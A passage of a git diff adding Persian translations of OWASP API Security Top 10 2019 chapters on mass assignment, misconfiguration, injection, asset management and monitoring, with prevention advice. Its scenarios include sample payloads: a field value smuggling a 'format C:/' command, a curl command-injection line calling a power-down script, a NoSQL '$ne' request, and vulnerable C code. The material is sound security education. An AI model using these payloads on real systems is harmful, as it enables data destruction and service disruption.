گروه را بکارگیرند. + +## مراجع + +### OWASP + +* [OWASP Article on Forced Browsing][1] +* [OWASP Top 10 2013-A7-Missing Function Level Access Control][2] +* [OWASP Development Guide: Chapter on Authorization][3] + +### خارجی + +* [CWE-285: Improper Authorization][4] + +[1]: https://www.owasp.org/index.php/Forced_browsing +[2]: https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control +[3]: https://www.owasp.org/index.php/Category:Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git a/editions/2019/fa/0xa6-mass-assignment.md b/editions/2019/fa/0xa6-mass-assignment.md new file mode 100644 index 000000000..42122ae25 --- /dev/null +++ b/editions/2019/fa/0xa6-mass-assignment.md @@ -0,0 +1,64 @@ +# API6:2019 - تخصیص جمعی + +| عوامل تهدید/مسیر حمله | ضعف امنیتی | پیامد | +| - | - | - | +| API خاص: قابلیت بهره‌برداری**2** | میزان شیوع**2** : قابلیت تشخیص**2** | پیامد فنی**2** : خاص کسب و کار | +| بهره برداری از این آسیب‌پذیری غالبا نیاز به فهم منطق تجاری، روابط مابین اشیا و ساختار API از سوی مهاجم دارد. بهره برداری از مقوله تخصیص جمعی در APIها ساده تر است چرا که در مرحله طراحی، پیاده‌سازی زیرین اپلیکیشن به همراه نام ویژگی‌های اشیا افشا می‌شود و در معرض دید عموم قرار می‌گیرد.| چارچوبهای جدید غالبا توسعه دهندگان را به استفاده از توابعی تشویق می‌کنند که بطور خودکار، ورودی‌های دریافتی از کلاینت را به متغیرهای کد و اشیاء داخلی آن پیوند می‌دهند. مهاجمین با سواستفاده از این متدلوژی می‌توانند به گونه ای اقدام به بروزرسانی یا بازنویسی ویژگی‌های اشیاء (داده) حساس نمایند که توسعه دهنده هیچگاه قصد افشای آن ویژگی‌ها را نداشته است. | بهره برداری از این ‌‌‌آسیب‌پذیری می‌تواند منجر به افزایش سطح دسترسی، دستکاری داده، عبور از مکانیزم‌های امنیتی و ... شود. | + +## آیا API از نظر تخصیص جمعی ‌‌‌آسیب‌پذیر است؟ + +اشیا در اپلیکیشن‌‌‌های مدرن می‌توانند ویژگی‌‌‌های متعددی داشته باشند. برخی از این ویژگی‌‌‌ها بایستی مستقیما توسط کلاینت قابل بروزرسانی باشند (مثلا `user.first_name` یا `user.address`) در حالی که کلاینت نباید بتواند سایر ویژگی‌‌‌ها را دستکاری نماید (مثلا پرچم `user.is_vip`). + +یک تابع درAPI اگر بطور خودکار پارامترهای کلاینت را بدون لحاظ کردن حساسیت و سطح افشای ویژگی‌‌‌های آن، مستقیما تبدیل به ویژگی‌‌‌های اشیای داخلی نماید، از منظر تخصیص جمعی ‌‌‌آسیب‌پذیر خواهد بود. این ‌‌‌آسیب‌پذیری به مهاجم اجازه می‌دهد تا بتواند ویژگی‌‌‌هایی از اشیا را که نباید به آنها دسترسی داشته باشد، بروزرسانی نماید. + +نمونه‌‌‌هایی از «ویژگی‌‌‌های حساس» عبارتند از: + +* **ویژگی‌‌‌های مرتبط با مجوزها**: پرچم‌‌‌هایی نظیر `user.is_admin` و `user.is_vip` فقط بایستی توسط ادمین‌‌‌ها تنظیم شوند. +* **ویژگی‌‌‌های وابسته به فرایند**: `user.cash` فقط باید بصورت داخلی و پس از تایید پرداخت بروزرسانی شود. +* **ویژگی‌‌‌های داخلی**: `article.created_time` فقط باید بصورت داخلی و توسط اپلیکیشن تنظیم گردد. + +## مثال‌‌‌هایی از سناریوهای حمله + +### سناریو #1 + +یک اپلیکیشن هم‌سفری به کاربر امکان ویرایش اطلاعات پایه‌ای پروفایل خود را می‌دهد. در خلال این فرایند، یک فراخوانی API به `PUT /api/v1/users/me` با شی مجاز JSON زیر فرستاده می‌شود: + +```json +{"user_name":"inons","age":24} +``` + +اما درخواست `GET /api/v1/users/me` ویژگی اضافی credit_balance را نیز در خود دارد: + +```json +{"user_name":"inons","age":24,"credit_balance":10} +``` + +در اینجا مهاجم درخواست اول را با محتوای مخرب زیر بازارسال می‌نماید: + +```json +{"user_name":"attacker","age":60,"credit_balance":99999} +``` + +به دلیل وجود آسیب‌پذیری تخصیص جمعی در endpoint، مهاجم می‌تواند بدون انجام پرداخت اعتبار دریافت کند. + +### سناریو #2 + +یک پلتفرم اشتراک‌گذاری ویدئو به کاربران خود اجازه دانلود محتوا با فرمت‌‌‌های مختلفی را می‌دهد. مهاجم که در حال بررسی API است، در می‌یابد که `GET /api/v1/videos/{video_id}/meta_data` یک شیء JSON با ویژگی‌‌‌های ویدئو را باز می‌گرداند. یکی از این ویژگی‌‌‌ها، `"mp4_conversion_params”:”-v codec h264" ` است که نشان می‌دهد اپلیکیشن از یک دستور Shell برای تبدیل ویدئو بهره می‌برد. + +همچنین مهاجم متوجه می‌شود که `POST /api/v1/videos/new` در برابر تخصیص جمعی ‌‌‌آسیب‌پذیر بوده و به کلاینت اجازه می‌دهد که هریک از ویژگی‌‌‌های شیءویدئو را با به صورت دلخواه تنظیم نماید. در نتیجه مهاجم مقدار مخربی را به صورت `"mp4_conversion_params":"-v codec h264 && format C:/"` در قست ویژگی ویدئو وارد می‌کند که در نتیجه آن با دانلود ویدئو با فرمت MP4 توسط مهاجم حمله تزریق دستور Shell اجرا خواهد شد. + + +## چگونه از ‌‌‌آسیب‌پذیری تخصیص جمعی پیشگیری کنیم؟ + +* در صورت امکان، از بکارگیری توابعی که ورودی کلاینت را بصورت خودکار تبدیل به متغیرهای کد یا اشیای داخلی اپلیکیشن می کنند خودداری شود. +* تنها ویژگی‌‌‌های ضروری که باید توسط کلاینت بروزرسانی شوند در لیست سفید قرار گیرد. +* از قابلیت‌‌‌های تعبیه شده در اپلیکیشن‌‌‌ها برای قراردادن ویژگی‌‌‌هایی که تغییر آنها برای کلاینت غیرمجاز است در لیست سیاه استفاده شود. +* در صورت امکان، الگوهای واضح و بدون ابهام برای داده ورودی تعریف و اعمال شود. + +## مراجع + +### خارجی + +* [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes][1] + +[1]: https://cwe.mitre.org/data/definitions/915.html diff --git a/editions/2019/fa/0xa7-security-misconfiguration.md b/editions/2019/fa/0xa7-security-misconfiguration.md new file mode 100644 index 000000000..040c25aaf --- /dev/null +++ b/editions/2019/fa/0xa7-security-misconfiguration.md @@ -0,0 +1,83 @@ +# API7:2019 پیکربندی امنیتی نادرست + +|عوامل تهدید / مسیر حمله | ضعف امنیتی | پیامد | +| - | - | - | +| API خاص: قابلیت بهره‌برداری**3** | میزان شیوع**3** : قابلیت تشخیص**3** | پیامد فنی**2** : خاص کسب و کار | +| مهاجمین غالبا در تلاش برای یافتن حفره‌های وصله نشده، توابع رایج یا فایل‌ها و مسیرهای محافظت نشده به منظور دسترسی غیرمجاز به سیستم هستند.| پیکربندی امنیتی نادرست می‌تواند در هر سطحی از API، از سطح شبکه تا سطح اپلیکشن روی دهد. ابزارهای خودکاری وجود دارند که فرایند تشخیص و بهره برداری از پیکربندی‌های نادرست نظیر تشخیص سرویس‌های غیرضروری را انجام می‌دهند. | پیکربندی امنیتی نادرست نه تنها می‌تواند اطلاعات حساس کاربر را افشا کند بلکه جزئیاتی از سیستم که ممکن است به از دست رفتن کامل سرور منجر شود را نیز در معرض خطر قرار می‌دهد. + +## آیا API از نظر پیکربندی امنیتی نادرست ‌‌‌آسیب‌پذیر است؟ + +از منظر پیکربندی امنیتی نادرست api آسیب پذیر است اگر: + +* ایمن سازی امنیتی مناسب در هر قسمت از پشته اپلیکیشن رعایت نشده یا اپلیکیشن مجوزهای با پیکربندی نادرست روی سرویس‌‌‌‌های ابری داشته باشد. +* جدیدترین وصله‌‌‌‌های امنیتی نصب نشده و سیستم‌‌‌‌ها کاملا بروز نباشند. +* ویژگی غیرضروری (نظیر افعال اضافی HTTP) فعال باشند. +* امنیت لایه انتقال (TLS) غیرفعال باشد. +* دستورات و الزامات امنیتی (نظیر [سرایندهای امنیتی][1]) به سوی کلاینت ارسال نشوند. +* خط مشی اشتراک متقابل منابع (CORS ) وجود نداشته یا به درستی ‌پیاده‌سازی نشده باشد. +* پیام‌‌‌‌های خطا ردپای پشته یا اطلاعات حساس دیگر را افشا نمایند. + +## مثال‌هایی از سناریوهای حمله + +### سناریو #1 + +مهاجم فایل `.bash_history` را (که دستورات مورد استفاده تیم DevOps برای دسترسی به API را در خود دارد) در مسیر root سرور می‌یابد: + +``` +$ curl -X GET 'https://api.server/endpoint/' -H 'authorization: Basic Zm9vOmJhcg==' +``` + +همچنین مهاجم خواهد توانست توابعی از API که تنها توسط تیم DevOps مورد استفاده قرارگرفته و مستند نشده‌اند را نیز بیابد. + + +### سناریو #2 + +برای هدف قراردادن یک سرویس مشخص، مهاجم از موتورهای جستجوی رایج برای یافتن کامپیوترهایی که مستقیما توسط اینترنت قابل دسترسی هستند بهره می‌برد. در نتیجه، مهاجم میزبانی را می‌یابد که از یک سیستم مدیریت پایگاه داده محبوب استفاده نموده و اقدام به شنود روی پورت پیشفرض آن dbms می‌کند. از آنجا که میزبان از پیکربندی پیشفرض (که احراز هویت را بطور پیشفرض غیرفعال نموده) استفاده کرده، مهاجم می‌تواند به میلیون‌‌‌‌ها رکورد حاوی PII، داده‌‌‌‌های احرازهویت و ... دست یابد. + +### سناریو #3 + +مهاجم با بررسی ترافیک یک اپلیکیشن موبایل متوجه می‌شود که تمامی ترافیک HTTP بر بستر یک پروتکل ایمن (نظیر TLS) منتقل نمی‌شود و این موضوع خصوصا در زمان دانلود تصاویر پروفایل صدق می‌کند. از آنجا که تعامل کاربر با اپلیکیشن دودویی است، علیرغم انتقال ترافیک API بر بستر پروتکلی ایمن، مهاجم خواهد توانست الگویی را در اندازه پاسخ API شناسایی نموده و از آن برای رهگیری ترجیحات کاربر در خصوص محتوای ارائه شده به اپلیکیشن (مثلا تصاویر پروفایل) بهره ببرد. + + +## چگونه از ‌‌‌آسیب‌پذیری پیکربندی امنیتی نادرست پیشگیری کنیم؟ + +چرخه حیات API بایستی شامل موارد زیر باشد: + +* فرایندی تکرار شونده برای ایمن سازی API که منجر به ‌پیاده‌سازی سریع و آسان یک محیط ایمن شود. +* فرایندی برای بازبینی و بروزرسانی پیکربندی‌‌‌‌ها در سراسر پشته API؛ این بازبینی بایستی موارد از جمله بازبینی هماهنگی بین فایل‌‌‌‌ها، مولفه‌‌‌‌های API و سرویس‌‌‌‌های ابری (نظیر مجوزهای باکت‌‌‌‌های S3) را دربرگیرد. +* برقراری یک کانال ارتباطی ایمن برای دسترسی تمامی تعاملات API به دارایی‌‌‌‌های ایستا (نظیر تصاویر). +* خودکار جهت ارزیابی پیوسته و مداوم اثربخشی پیکربندی و تنظیمات اعمال شده در سراسر محیط API و اپلیکیشن. + +بعلاوه: + +* برای جلوگیری از ارسال رهگیری رویدادهای استثنا و سایر داده‌‌‌‌های ارزشمند به مهاجم، در صورت امکان برای تمامی پاسخ‌‌‌‌های API (از جمله خطاها) الگوهای محموله مشخص تعریف و اعمال گردد. +* حصول اطمینان از اینکه API فقط به افعال HTTP مدنظر توسعه دهنده پاسخ می دهد و غیرفعال کردن سایر افعال (نظیر `HEAD`). +* APIهایی که انتظار می‌رود دسترسی به آنها از طریق کلاینت‌‌‌‌های مبتنی بر مرورگر (مثلا فرانت WebApp) باشد، بایستی خط مشی CORS مناسب را بکار گیرند. + + +## مراجع + +### OWASP + +* [OWASP Secure Headers Project][1] +* [OWASP Testing Guide: Configuration Management][2] +* [OWASP Testing Guide: Testing for Error Codes][3] +* [OWASP Testing Guide: Test Cross Origin Resource Sharing][9] + +### خارجی + +* [CWE-2: Environmental Security Flaws][4] +* [CWE-16: Configuration][5] +* [CWE-388: Error Handling][6] +* [Guide to General Server Security][7], NIST +* [Let’s Encrypt: a free, automated, and open Certificate Authority][8] + +[1]: https://www.owasp.org/index.php/OWASP_Secure_Headers_Project +[2]: https://www.owasp.org/index.php/Testing_for_configuration_management +[3]: https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) +[4]: https://cwe.mitre.org/data/definitions/2.html +[5]: https://cwe.mitre.org/data/definitions/16.html +[6]: https://cwe.mitre.org/data/definitions/388.html +[7]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[8]: https://letsencrypt.org/ +[9]: https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007) diff --git a/editions/2019/fa/0xa8-injections.md b/editions/2019/fa/0xa8-injections.md new file mode 100644 index 000000000..d9cc8e931 --- /dev/null +++ b/editions/2019/fa/0xa8-injections.md @@ -0,0 +1,88 @@ +# API8:2019 تزریق ورودی‌های مخرب + +|عوامل تهدید / مسیر حمله | ضعف امنیتی | پیامد | +| - | - | - | +| API خاص: قابلیت بهره‌برداری**3** | میزان شیوع**2** : قابلیت تشخیص**3** | پیامد فنی**3** : خاص کسب و کار | +| مهاجمین تلاش می‌کنند تا هرچه مسیر‌ برای تزریق (از جمله، ورودی‌های مستقیم، متغییرها و سرویس‌های یکپارچه) وجود دارد را با داده‌های مخرب پر کنند و انتظار دارند این اطلاعات بدست لایه مفسر برسد.| وجود ‌آسیب‌پذیری تزریق ورودی‌های مخرب، امری متداول بوده و معمولا در پرس و جو‌های SQL، LDAP یا NoSQL، دستورات سیستم عامل، تجزیه کنندگان XML و ORM یافت می‌شود. این نقص‌ها به سادگی در زمان بازبینی کد منبع قابل کشف می‌باشند. مهاجمین نیز برای این منظور از اسکنرها و Fuzzerها استفاده می‌کنند. | ‌آسیب‌پذیری تزریق ورودی‌های مخرب می‌تواند منجر به افشای اطلاعات و یا از دست رفتن اطلاعات شود. همچنین ممکن است این ضعف منجر به اختلال در سرویس‌دهی شده و یا حتی باعث از دست رفتن کامل دسترسی میزبان شود. + +## آیا API از نظر نقص تزریق ورودی‌های مخرب آسیب‌پذیر است؟ + +از منظر نقصِ تزریق ورودی‌های مخرب API ‌آسیب‌پذیر است اگر: + +* اطلاعات وارد شده توسط کاربر توسط API اعتبار سنجی، فیلتر یا پاکسازی نشود. +* اطلاعات وارد شده توسط کاربر به صورت مستقیم استفاده شده و یا به انواع دستورات پرس و جو (SQL یا NoSQL یا LDAP) یا دستورات سیستم عامل، تجزیه‌کنندگان XML، ORM یا ORM افزوده شود. +* اطلاعات دریافت شده از سیستم‌های خارجی توسط API اعتبار سنجی، فیلتر یا پاکسازی نشود. + + + +## مثال‌هایی از سناریوهای حمله + +### سناریو #1 + +میان‌افزار یک دستگاه کنترل (فرزندان) توسط والدین تابعی را در مسیر `/api/CONFIG/restore` ارائه می‌کند، که انتظار دارد مقدار appId ارسال شده به سمت آن، دارای مقادیر چند متغیره باشد. با استفاده از یک دیکامپایلر، مهاجم در می‌یابد مقدار appId بدون هیچ‌گونه تغییر یا پاکسازی‌ به یک فراخوانی سیستمی ارسال می‌شود. + +``` +snprintf(cmd, 128, "%srestore_backup.sh /tmp/postfile.bin %s %d", + "/mnt/shares/usr/bin/scripts/", appid, 66); +system(cmd); +``` + +دستور زیر به مهاجم این امکان را می‌دهد تا هر دستگاهی با این میان افزار ‌آسیب‌پذیر را خاموش کند. + +``` +$ curl -k "https://${deviceIP}:4567/api/CONFIG/restore" -F 'appid=$(/etc/pod/power_down.sh)' +``` + +### سناریو #2 + +سامانه تحت وب ساده‌ای با عملکرد‌های اولیه CRUD ، برای انجام عملیات‌های رزرو وجود دارد. مهاجم موفق به شناسایی تزریق NoSQL از طریق متغیر `bookingId` در رشته پرس و جو و در درخواست حذف رزرو شده است. درخواست مذکور شبیه به `DELETE /api/bookings?bookingId=678` می‌باشد. + +سرور API از تابع زیر برای رسیدگی کردن به درخواست‌های حذف استفاده می‌کند: + +```javascript +router.delete('/bookings', async function (req, res, next) { + try { + const deletedBooking = await Bookings.findOneAndRemove({'_id' : req.query.bookingId}); + res.status(200); + } catch (err) { + res.status(400).json({error: 'Unexpected error occured while processing a request'}); + } +}); +``` +مانند آنچه در زیر مشاهده می‌کنید، مهاجم پس از رهگیری درخواست و تغییر مقدار `bookingId` استفاده شده در رشته پرس و جو، می‌تواند رزرو انجام شده توسط کاربر دیگری را حذف نماید. + +``` +DELETE /api/bookings?bookingId[$ne]=678 +``` + +## چگونه از آسیب‌پذیری تزریق ورودی‌های مخرب پیشگیری کنیم؟ + +جلوگیری از ‌آسیب‌پذیری تزریق ورودی‌های مخرب، نیازمند جداسازی اطلاعات از دستورات و پرس و جو‌ها می‌باشد. + +* داده‌ها باید توسط یک کتابخانه پایدار، فعال و قابل اطمینان اعتبار سنجی شود. +* تمامی اطلاعات وارد شده توسط کاربران و دیگر سیستم‌های یکپارچه باید اعتبار سنجی، فیلتر یا پاکسازی شود. +* کاراکترهای خاص باید توسط قوانین مشخص برای مفسران نهایی تغییر داده شود. +* همواره تعداد رکوردهای بازگردانده شده باید محدود شود تا در صورت وجود نقص تزریق ورودی‌های مخرب، از افشای انبوه اطلاعات جلوگیری شود. +* داده‌های ورودی باید توسط فیلترهای مناسب اعتبار سنجی شود تا تنها مقادیر معتبر برای هر پارامتر ورودی مجاز به وارد شدن باشند. +* برای تمامی متغییر‌های رشته‌ای، نوع داده و الگوی سخت‌گیرانه‌ای تعریف شود. + +## مراجع + +### OWASP + +* [OWASP Injection Flaws][1] +* [SQL Injection][2] +* [NoSQL Injection Fun with Objects and Arrays][3] +* [Command Injection][4] + +### خارجی + +* [CWE-77: Command Injection][5] +* [CWE-89: SQL Injection][6] + +[1]: https://www.owasp.org/index.php/Injection_Flaws +[2]: https://www.owasp.org/index.php/SQL_Injection +[3]: https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf +[4]: https://www.owasp.org/index.php/Command_Injection +[5]: https://cwe.mitre.org/data/definitions/77.html +[6]: https://cwe.mitre.org/data/definitions/89.html diff --git a/editions/2019/fa/0xa9-improper-asset-management.md b/editions/2019/fa/0xa9-improper-asset-management.md new file mode 100644 index 000000000..ec89b9ec7 --- /dev/null +++ b/editions/2019/fa/0xa9-improper-asset-management.md @@ -0,0 +1,53 @@ +# API09:2019 مدیریت نادرست دارایی‌ها + +|عوامل تهدید / مسیر حمله | ضعف امنیتی | پیامد | +| - | - | - | +| API خاص: قابلیت بهره‌برداری**3** | میزان شیوع**3** : قابلیت تشخیص**2** | پیامد فنی**2** : خاص کسب و کار | +|نسخه‌های قدیمی API غالبا اصلاح و بروزرسانی نشده‌اند و از آنجا که از مکانیزم‌های دفاعی نوین موجود در APIهای جدید بهره نمی‌برند، راهی آسان برای دسترسی به سیستم‌ها برای مهاجمین فراهم می‌سازند.|مستندات قدیمی و بروزرسانی نشده، امکان یافتن و یا رفع آسیب‌پذیری‌ها را دشوار می‌سازند. همچنین نبود فهرستی از دارایی‌ها و فقدان یک استراتژی مدون برای از دور خارج کردن نسخه‌های قدیمی منجر به وجود سیستم‌های وصله یا تعمیر نشده و نهایتا نشت اطلاعات خواهد شد. امروزه با کمک مفاهیم نوینی نظیر مایکروسرویس‌ها که امکان بکارگیری اپلیکیشن‌ها بصورت مستقل را تسهیل نموده‌اند (نظیر رایانش ابری، k8s یا کوبرنیتس و ...)، یافتن APIهایی که به صورت غیرضروری در معرض دید همگان قرار دارند تبدیل به امری رایج و آسان شده است.|مهاجم می‌تواند از طریق نسخه‌های قدیمی API که کماکان به پایگاه داده‌ی اصلی متصل هستند، به داده‌ی حساس و یا حتی سرور دسترسی یابد. + +## آیا API از نظر مدیریت نادرست دارایی‌ها ‌آسیب‌پذیر است؟ + +در صورتی که یکی ازشرایط زیر وجود داشته باشد، API ‌آسیب‌پذیر خواهد بود: + +* اهدف از وجود API نامشخص بوده و پاسخی برای سوال‌های زیر وجود نداشته باشد: + - در چه محیطی API در حال اجرا است (مثلا محیط تست، توسعه، اجرا یا عملیات )؟ + - چه کسانی بایستی دسترسی شبکه‌ای به API داشته باشند (همه، افراد دخیل یا شرکا)؟ + - چه نسخه‌ای از API در حال اجرا است؟ + - چه داده‌ای (نظیر PII) توسط API در حال جمع آوری و پردازش است؟ + - جریان داده به چه صورت است؟ +* مستندی برای API وجود ندارد یا بروز نیست. +* برنام‌ ای برای بازنشستگی و از دور خارج شدن هریک از نسخه‌های API وجود ندارد. +* فهرست میزبان‌ها وجود ندارد یا قدیمی است. +* فهرست سرویس‌های یکپارچه ، چه سرویس‌های متعلق به خود سازمان و چه سرویس‌های شرکت‌های ثالث، وجود ندارد یا قدیمی است. +* نسخه‌های قدیمی یا پیشین API بدون اصلاح و وصله شدن کماکان در حال اجرا هستند. + +## مثال‌هایی از سناریوهای حمله + +### سناریو #1 + +پس از بازطراحی یک اپلیکیشن، یک سرویس جستجوی Local وجود دارد که از یک نسخه قدیمی API (`api.someservice.com/v1`) به صورت محافظت نشده بهره می‌برد که در عین حال این API قدیمی به پایگاه داده کاربران دسترسی دارد. مهاجم که جدیدترین نسخه اپلیکیشن را به عنوان هدف درنظر گرفته، آدرس API (`api.someservice.com/v2`) را می‌یابد. جایگزینی `v2` با `v1` در URL سبب دسترسی مهاجم به API محافظت نشده و قدیمی می‌شود که در نتیجه‌ی آن، اطلاعات شناسایی شخصی (PII) بیش از 100 میلیون کاربر افشا گردیده است. + +### سناریو #2 + +یک شبکه اجتماعی از مکانیزم محدودسازی نرخ ارسال درخواست برای جلوگیری از انجام حملات Brute Force توسط مهاجمین جهت حدس توکن‌های تغییر گذرواژه بهره می‌برد. این مکانیزم نه به عنوان بخشی از کد API، بلکه به عنوان مولفه ای مابین کلاینت و API اصلی (در `www.socialnetwork.com`) ‌پیاده‌سازی شده است. مهاجم یک نسخه بتا از میزبان API (`www.mbasic.beta.socialnetwork.com`) می‌یابد که از API یکسانی بهره می‌برد و رویه تغییر گذرواژه یکسانی دارد با این تفاوت که در آن هیچ مکانیزمی جهت محدودسازی نرخ درخواست تعبیه نشده است؛ در نتیحه مهاجم قادر خواهد بود که گذرواژه هر یک از کاربران را طی یک عملیات Brute Force ساده با حدس زدن یک توکن 6 رقمی تغییر دهد. + +## چگونه از آسیب‌پذیری مجوزدهی نادرست در سطح اشیاء پیشگیری کنیم؟ + +* فهرستی از تمامی میزبان‌های API تهیه شده و جنبه‌های مهم هرکدام با تمرکز بر محیط API (محیط تست، توسعه، اجرا یا عملیات)، افراد مجاز به دسترسی شبکه‌ای به میزبان (همه، افراد دخیل یا شرکا) و نسخه API مستند شود. +* فهرستی از سرویس‌های یکپارچه تهیه شده و جنبه‌های مهم این سرویس‌ها نظیر نقش آنها، داده‌ی مبادله شده (جریان داده) و میزان حساسیت آنها مستند شود. +* تمامی جنبه‌های API نظیر نحوه احراز هویت، خطاها، ریدایرکت‌ها، محدودسازی نرخ درخواست، خط مشی‌های اشتراک گذاری منابع متقابل (CORS) و نقاط پایانی یا توابع (Endpointها) شامل پارامترها، درخواست‌ها و پاسخ‌ها مستند شوند. +* با بکارگیری و انطباق با استانداردهای باز، فرایند تولید مستند بطور خودکار انجام شده و این فرایند در CI/CD Pipeline تعبیه گردد. +* مستندات API در اختیار افرادی که مجاز به دسترسی به API هستند قرار گیرد. +* از مکانیزم‌های محافظتی خارجی از جمله فایروال‌های امنیت API برای محافظت از تمامی نسخه‌های در معرض دید API (نه فقط نسخه فعلی) استفاده گردد. +* از استفاده همزمان نسخه‌های عملیاتی شده و عملیاتی نشده API اجتناب شود. اگر این همزمانی اجتناب ناپذیر است، برای نسخه‌های عملیاتی نشده API نیز باید همان حفاظت‌های امنیتی نسخه‌های عملیاتی شده برقرار باشد. +* هنگامی که در نسخه‌های جدیدتر API بهبودهای امنیتی اعمال می‌شود، بایستی فرایند تحلیل ریسک نیز صورت پذیرد تا بتوان تصمیمات لازم در خصوص اقدامات جبرانی برای رفع مشکلات امنیتی نسخه‌های قدیمی‌تر را اتخاذ نمود. بعنوان نمونه، آیا می‌توان بدون تحت‌الشعاع قراردادن انطباق‌پذیری API بهبودهای امنیتی را در نسخه‌های قدیمی نیز وارد نمود یا اینکه بایستی تمامی نسخه‌های قدیمی به سرعت از دسترس خارج شده و تمامی کلاینت‌های مجبور به استفاده از آخرین نسخه شوند؟ + +## مراجع + +### خارجی + +* [CWE-1059: Incomplete Documentation][1] +* [OpenAPI Initiative][2] + +[1]: https://cwe.mitre.org/data/definitions/1059.html +[2]: https://www.openapis.org/ diff --git a/editions/2019/fa/0xaa-insufficient-monitoring.md b/editions/2019/fa/0xaa-insufficient-monitoring.md new file mode 100644 index 000000000..f5b94b916 --- /dev/null +++ b/editions/2019/fa/0xaa-insufficient-monitoring.md @@ -0,0 +1,54 @@ +# API10:2019 پایش و نظارت ناکافی + +|عوامل تهدید / مسیر حمله | ضعف امنیتی | پیامد | +| - | - | - | +| API خاص: قابلیت بهره‌برداری**2** | میزان شیوع**3** : قابلیت تشخیص**1** | پیامد فنی**2** : خاص کسب و کار | +| مهاجمین می توانند از فقدان فرایند ثبت وقایع و پایش برای سوءاستفاده پنهانی از سیستم‌ها بهره ببرند.| بدون ثبت وقایع و پایش آنها یا با ثبت و پایش ناکافی، رهگیری فعالیت‌های مخرب و پاسخ آنها در زمان مناسب تقریبا غیرممکن خواهد بود. | بدون پایش فعالیت‌های مخربی که در حال انجام است، مهاجمین زمان زیادی برای نفوذ به سیستم‌ها خواهند داشت. + +## آیا API از نظر پایش و نظارت ناکافی ‌آسیب‌پذیر است؟ + +در صورتی که یکی ازشرایط زیر وجود داشته باشد، API ‌آسیب‌پذیر خواهد بود: + +* هیچگونه Logای توسط API تولید نشود، سطح ثبت وقایع به درستی تنظیم نشده باشد یا پیام‌‌های Log، حاوی جزئیات کافی نباشند.. +* جامعیت Logها تضمین نشده باشد (مثلا [Log Injection][1] رخ دهد). +* به طور پیوسته Logها پایش نشوند. +* زیرساخت API به طور پیوسته پایش نشود. + +## مثال‌هایی از سناریوهای حمله + +### سناریو #1 + +کلیدهای دسترسی به یک API مدیریتی در یک انباره عمومی افشا شده و در اختیار همگان قرار گرفته است. مالک انباره از طریق یک ایمیل از این افشای احتمالی مطلع می‌شود اما بیش از 48 ساعت طول می‌کشد تا اقدام مقتضی انجام شود که در این حدفاصل، افشای کلید دسترسی ممکن سبب دسترسی غیرمجاز به داده حساس شده باشد. از آنجا که پایش کافی وجود نداشته است، سازمان نخواهد توانست بفهمد عوامل مخرب به چه داده‌ای دسترسی پیدا کرده‌اند. + +### سناریو #2 + +یک پلتفرم اشتراک گذاری ویدئو با یک حمله درج هویت در مقیاسی بزرگ مواجه می‌شود. علیرغم آنکه تلاش‌‌های ناموفق ورود ثبت می‌شوند، اما هیچگونه هشداری در طول زمان حمله اعلام نشده است؛ بلکه تنها در واکنش به شکایت‌‌های کاربران، Logهای API تحلیل و حمله کشف شده است. در نتیجه سازمان مجبور به صدور اعلامیه‌ای رسمی شده و از تمامی کاربران می‌خواهد که گذرواژه‌‌های خود را تغییر دهند. همچنین سازمان بایستی به مراجع نظارتی درخصوص این حادثه گزارش داده و پاسخگوی آنها باشد. + +## چگونه از ‌آسیب‌پذیری پایش و نظارت ناکافی پیشگیری کنیم؟ + +* تمامی تلاش‌‌های ناموفق احراز هویت، دسترسی‌‌های غیرمجاز و خطاهای اعتبارستجی ورودی بایستی ثبت شوند. +* Logها باید به گونه ای تهیه شوند که توسط راهکارهای مدیریت Log قابل استفاده بوده و همچنین جزئیات کافی جهت شناسایی عامل مخرب را در خود داشته باشند. +* با Logها بایستی به عنوان داده حساس رفتار شده و جامعیت آنها هم در زمان ذخیره سازی و هم در زمان انتقال تضمین شود. +* یک سیستم پایش پیکربندی و راه اندازی شود تا بتوان بطور مداوم و پیوسته عملکرد زیرساخت، شبکه و API را پایش نمود. +* از یک سیستم مدیریت رویدادها و اطلاعات امنیتی (SIEM) برای تجمیع و مدیریت Logهای دریافتی از تمامی مولفه‌‌های پشته API و میزبان‌‌های آن استفاده شود. +* از Dashboardها و هشدارها یا اعلان‌‌های سفارشی‌سازی شده به منظور تشخیص و پاسخ سریع به فعالیت‌‌های مشکوک استفاده شود. + +## مراجع + +### OWASP + +* [OWASP Logging Cheat Sheet][2] +* [OWASP Proactive Controls: Implement Logging][3] +* [OWASP Application Security Verification Standard: V7: Error Handling and Logging Verification Requirements][4] + +### خارجی + +* [CWE-1059: Incomplete Documentation][5] +* [OpenAPI Initiative][6] + +[1]: https://owasp.org/index.php/Log_Injection +[2]: https://owasp.org/index.php/Logging_Cheat_Sheet +[3]: https://owasp.org/www-project-proactive-controls/ +[4]: https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md +[5]: https://cwe.mitre.org/data/definitions/1059.html +[6]: https://www.openapis.org/ diff --git a/editions/2019/fa/0xb0-next-devs.md b/editions/2019/fa/0xb0-next-devs.md new file mode 100644 index 000000000..386f3d305 --- /dev/null +++ b/editions/2019/fa/0xb0-next-devs.md @@ -0,0 +1,32 @@ +# گام بعدی برای توسعه‌دهندگان + +وظایف مرتبط با ایجاد و نگهداری ایمن از نرم افزارها یا تعمیر نرم افزارهای موجود می‌تواند دشوار باشد و APIها نیز از قضیه مستثنی نیستند. + +بر این باوریم که آموزش و آگاه سازی، گامی کلیدی در راستای نوشتن و توسعه نرم افزارهای ایمن هستند. تمامی الزامات دیگر در راستای نیل به هدف فوق به **ایجاد و استفاده از فرایندهای امنیتی تکرارپذیر و کنترل‌های امنیتی استاندارد بستگی دارد.** + +OWASP منابع آزاد و رایگان متعددی برای پاسخ به مسائل امنیتی از ابتدای پروژه ایجاد نموده است. به منظور آشنایی با لیست جامع پروژه‌‌های دردسترس، [صفحه پروژه‌‌های OWASP][1] را ملاحظه نمایید. + + +| | | +|-|-| +| **آموزش** | برای شروع می‌توان از [پروژه مطالب آموزشی OWASP][2] بسته به علاقه و نوع حرفه آغاز نمود. برای آموزش عملیاتی، crAPI را نیز به [نقشه راه][3] خود افزوده‌ایم. تست‌‌های مربوط به WebAppSec را می‌توان با [OWASP 